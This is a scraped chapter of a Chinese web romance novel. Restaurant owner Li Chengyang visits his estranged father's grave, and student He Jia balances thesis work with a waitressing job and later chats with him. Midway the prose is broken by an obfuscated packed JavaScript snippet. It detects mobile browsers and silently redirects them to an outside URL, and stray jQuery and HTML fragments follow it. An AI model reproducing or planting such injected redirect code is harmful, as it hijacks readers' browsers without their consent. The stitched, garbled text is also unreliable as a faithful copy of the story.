余川这几天骤降几度，风里有了刺骨的寒意，仔细去看路旁的野草，叶子由青转黄，上面浮着一层薄薄的白霜。
路边的树枝孤零零地站在人迹罕至的街道旁，无人注目，独自凛冽。
这是和以往都截然不同的冬天。
“景山公墓”每座墓碑旁都种了一棵柏树，在严冬十分依旧长青，也许是象征生命的延续，也许也没有真正意味着什么。
李成杨掏出一方干净的帕子，弯腰蹲在其中一座墓碑前。
他慢慢擦掉墓碑上的灰尘，没有表情地注视墓碑上的照片。
那是一张黑白相片，里面是一个微笑着的男人，他看着有些胖，面相竟和弥勒佛有些相似。
往下看，他的名字被大写加粗。
李建峰。
李成杨默默开了一瓶二锅头，替他满上一杯，搁置在他的墓前。
他没有说话，也不想说话。
他这次来还带着一个人，正是饭店的厨师张壅。
张壅接过他手里的白酒，给自己也倒了一杯。
“师父，你在那边好不？”
无人回应，他的声音消散在风里。
“我一直在杨哥的饭店工作，”他喝掉那杯白酒，继续说，“以前你开店的时候说我技术不行，以后绝对不会招我。现在怎么着？杨哥招我了，我现在炒菜也算是有点水平了。你在那边放心，杨哥把店打理得很好。”
李成杨站起来，目光一直很冷漠。
张壅又陆陆续续对李建峰说了些话，差不多喝了半瓶二锅头。
“走吧。”李成杨不让他再喝。
张壅收好酒瓶又点了根烟，等烟燃尽了才跟着李成杨离开。
回市区的路上两个人都很沉默。
李成杨手握方向盘，转头盯了张壅一眼。
“喝多没？”
张壅瘫在副驾上，笑了：“就半瓶怎么可能多？就是有点累了。”
“嗯，没多就行。”
两个人又安静下来。
张壅两只手搓了搓面颊，脸色变得通红。
虽然没醉，酒精还是上脸了。
他有些坐立不住，几次想说些什么又开不了口，还小心打量几眼李成杨的脸色。
“有话就说。”李成杨向来不喜欢墨迹。
张壅咽了口口水，声音支支吾吾的：“杨哥……你还在怪他？”
李成杨没有立马回答，反而是转头看了张壅一眼。
眼神静静的，看不出心情。
张壅试探着替他回答：“你还在恨他。可是他都走了那么多年了……他终究是你爸啊。你……”
李成杨打断：“他是不是我爸我都不会原谅他。”
“可是你每年这个时候都来看他，”张壅不理解，“你心里怪他，但是你终归是心软的。”
“呵，”他轻笑，“我来看他是提醒他不要忘了自己以前做了什么，别以为死了就安生了。”
张壅还想说什么，但李成杨没给他机会。
“张壅，你是他徒弟，你感激他我不阻拦，但是我们家里面的事，没有那么简单的。”
张壅苦涩点头，还是忍不住说：“我十五岁之后就去读职高学炒菜，要不是师父带我，我也不晓得现在能干什么，但是我真不知道他是那样的人……”
“睡觉吧。”李成杨不想再说这个话题，“你困了，安静点。”
张壅终于是把没说完的话咽在肚子里，车内恢复平静。
回到市区的时候才早上八点，李成杨没管张壅去哪，反正他要回学校的快递站。
他要工作，他需要工作，需要工作将他的生活全都填满，让他没有时间再去想那些缥缈的东西。
张壅站在路旁抽烟，一根又一根，烟雾将他整个人都包围起来。
他看着李成杨扬长而去的背影，很困惑。他不理解李成杨这种不缺钱不缺房的人，那么拼命工作，甚至同时干两份工作到底是因为什么？
烟雾越飘越远，成了雾霾一直笼罩在学校上空。
学生们忙着赶早八，主干道上全是拿着早餐的学生。
一片人黑压压的，现在年轻人都喜欢穿黑色，习惯把自己隐匿在人群里获得安全感。
何嘉也是他们之中的一员。
她已经大四，按理说不再有专业课，也可以睡到日上三竿再起床，但她今天想去找个空教室准备论文的事。
反正在寝室里准备不行，她有些受不了郑亦然总是有意无意打探她在做什么，那样让她觉得浑身难受。
她找了一间离宿舍楼最近的教室，由于没有人气，室内的空气冷得她打了个喷嚏。
她没再想别的，打开电脑开始专注手上的事。
如今已经是2018年的一月初，她得在三月之前交初稿，时间不短也不长。
她选的论题方向是《历史教育理论与方法研究》，总之又要包含历史专业性又要论证与之相关的教育原理。
这个专业她是很喜欢的，有一部分原因是王丽琼想让她当老师，而她也很乐意。
当老师多好呀，工资稳定又有寒暑假，虽然可能会遇上难缠的学生和家长，但这个选择对她来说已经是最好的了。
再想到王丽琼，不知道她还能不能坚持到自己当上老师那一天。
唉。一想到她，何嘉就有些眼眶湿润，那是她从小跟着的阿婆，如今因为病痛就要上天堂了。
她拿出手机查了查今年的春节日期，在2月16号。
“今年春节一定要早点回去看阿婆。”何嘉收起情绪，暗暗决定道。
时间一分一秒过去，何嘉将注意力全都收到面前的电脑里，除了喝水基本上没抬过头。
又是查资料又是看导师建议，这么一忙再次抬头都是三个小时以后了。
太阳慢悠悠地冲出云层，气温却仍旧不高。
一缕阳光洒在窗户上，泛起一点金色的反光。雾霾消失不见，世界重归清净。
何嘉撑着脑袋往外瞧，一点阳光打在她脸上。
这个时间点学生们都在上课，主干道上没有几个人。
她抬眸看向树上的小鸟，有几只麻雀从这棵树的枝头飞到另一棵树的树梢，灵活又可爱。
视线往下，一辆三轮车突然冲进她的视线。
那车行驶得不算快，车身还贴着“信捷”两个大字。
是快递车啊。
是快递车？
何嘉的视线紧紧盯在那辆三轮上，细细一看，里面开车的那个人是……
老板？
她感到很惊奇，老板竟然看着快递三轮上班。但是想想好像也没问题，送快递的不开三轮开什么？
总之不能开自己的车吧。
李成杨坐在驾驶位，眉毛一皱，周身一股戾气，他的眼神并不温和，看向远处的时候更像是怨气。
配上他墨黑的眉眼和粗壮的躯体，整个人不像是去上班，反而像是要去干架的。
路过一个路口，他离教学楼越来越近，临近的时候突然转头往这边盯了一眼，何嘉看到了他的表情。
一瞬微怔，他看见教室里坐了一个小人儿。她的发丝在太阳下染上金光，小脸呆呆的，左脸的伤痕早就长好了，洁白的肌肤上有一些同样金色的绒毛。
他迟疑了一阵，很快就反应过来她的身份，但是没有过多停留，依然黑着脸开走三轮车。
何嘉的目光追随着他，摸摸鼻子不知道他做什么。
阳光隔断阴影，他驶入灰暗的区域，直到看不见那个小车影。
他今天心情不好？
何嘉回想上次见他的情景，大概过了十天吧，这期间他没来吃过饭，那天他还说她像耗子呢……他虽然不像第一次见面那么温和，但也不至于这种表情吧？
算了算了，她再次埋头，窗外景色与她无关。
一直写到五点，学校的铃声打破她的思绪。
何嘉突然想起现在已经是兼职时间了！
她慌七忙八地收拾好东西，朝饭馆一路狂奔。
抵达饭店的时候正好是五点十分。
“我来晚啦，不好意思。”
今天张姨没来，只有蒋姨招呼她：“没事，来单子了，你快去吧。”
“好的！”
何嘉迅速扯下单子往后厨走，张壅和安叔正在炒上个单子的菜品。
“喏。”何嘉把单子递给张壅。
张壅伸手接过，没跟她讲话。
“嗯？”何嘉觉得奇怪。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242332|197793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
张壅平时最喜欢讲话了，这些天每次见面都要跟她打招呼的，今天却一声不吭，有问题。
不过今天是怎么了？怎么他和老板都不高兴的样子？
“小嘉，又来单子了。”蒋姨在外面提醒她。
“来了——”何嘉一边回应一边往外走。
接下来的单子让她应接不暇，根本没有时间去想刚才的问题。
今晚连着来了好几桌堂食，点的都是大菜，张壅和安叔忙不过来，就拉蒋姨去帮忙备菜，于是两层饭桌只留何嘉一个人传菜。
“小妹儿，我们的猪肚还没好哇？”有桌顾客等不及了。
何嘉走过去陪笑：“不好意思，已经下锅了，我再去厨房让他们快点。”
“好嘛，麻溜儿点，都等好久了。”
“嗯嗯好的。”
何嘉飞速跑下楼，往后厨里喊：“12桌的猪肚莴笋下锅了吗？他们在催了。”
张壅啧了一声，不耐烦：“催催催，催命啊！老子一天到晚忙不完的，给他们说已经下锅了！”
何嘉应答：“已经说了。”
“那就不管他们了，”一道李庄白肉出锅，他朝外喊：“上菜——”
何嘉麻利地接过，朝二楼走去。
路上她不禁想，饭店忙的时候果然来不及，你要是问某道菜还有多久好，那必然得到的答案是已经下锅了，实际上呢，也许厨师忙得发火，还根本没开始备菜。
愿意吃的继续等，不愿意吃的就走。反正服务员的态度好，你也不能说人家不理顾客。
后续几道菜比前面上得快些，忙了好几圈，何嘉觉得自己的手臂开始发酸，有些抬不起来了。
好在时间过了八点，客人越来越少，今天安叔负责店里的晚饭，炒了几道家常菜，大伙儿就开始吃晚饭了。
张壅今天不说话，张姨也不在，剩下几人都不喜欢说话，整张桌子安静得只有咀嚼声。
何嘉觉得今天有鬼，索性继续降低自己的存在感。
等到九点整，终于下班，何嘉朝他们几个道别：“我先走了哦，大家拜拜。”
和善的蒋姨与安叔朝她挥手，张壅瘫在一张藤椅上朝她点头。
门外天色如墨，除了放在路旁的几辆单车，基本上就只有她的存在。
她仰起头去看路灯下的树木，树梢的叶子枯黄，风一吹便簌簌滑落，跌到她身边的时候她忍不住伸手去接。
一片金黄的叶子躺在她手心，是爱心的形状。
“还不回去？”
一个磁性低沉的男声从她前面传来。
何嘉抬眼去看他的模样。
那人眼下的乌青很重，眼里的戾气消散只留下困倦。他的嘴边似乎冒出一些胡茬，倒是多了一丝慵懒休闲的味道。
“老板，你去饭店吗？”何嘉将叶子收回口袋，声音轻柔。
李成杨向前走了两步，“嗯，刚下班。”
何嘉盯着他嘴角的某个位置，那里好像有一颗棕色的小痣。
“很晚了，回去吧。”他从她身边经过，伸手指了指他身后的方向。
何嘉乖乖点头，又回头说：“老板再见。”
李成杨顿了一步，转头对她说：“你怎么总说这句话？”
她眨着迷惑的眼睛：“啊？我有吗？这不是普通的道别语吗？”
他想了想：“也是，但是别老叫我老板吧。”
“那叫什么？”
“随便。”
这把她难住了，不叫老板能叫什么？
她猛然想到一个称呼，弱弱地说出来：
“叔叔？”
李成杨脸上闪出三条黑线，“你再叫一遍？”
何嘉抿住嘴巴，漆黑的眼睛有些不安。
过了一会儿又说：“是……是你说随便的。你肯定比我大呀，我也不知道大多少，就是……就是你看上去应该比我大了超过五岁吧，叫叔叔……挺合适的？”
李成杨被她气一下，但又觉得她说的有道理。真相是他比她大了可不止五岁，估摸着有十岁了，所以还真是可以叫叔叔的程度。
但他暂时不想听到这个称呼。
“还是叫老板吧。”他妥协了。
“哦。”何嘉忍住不笑。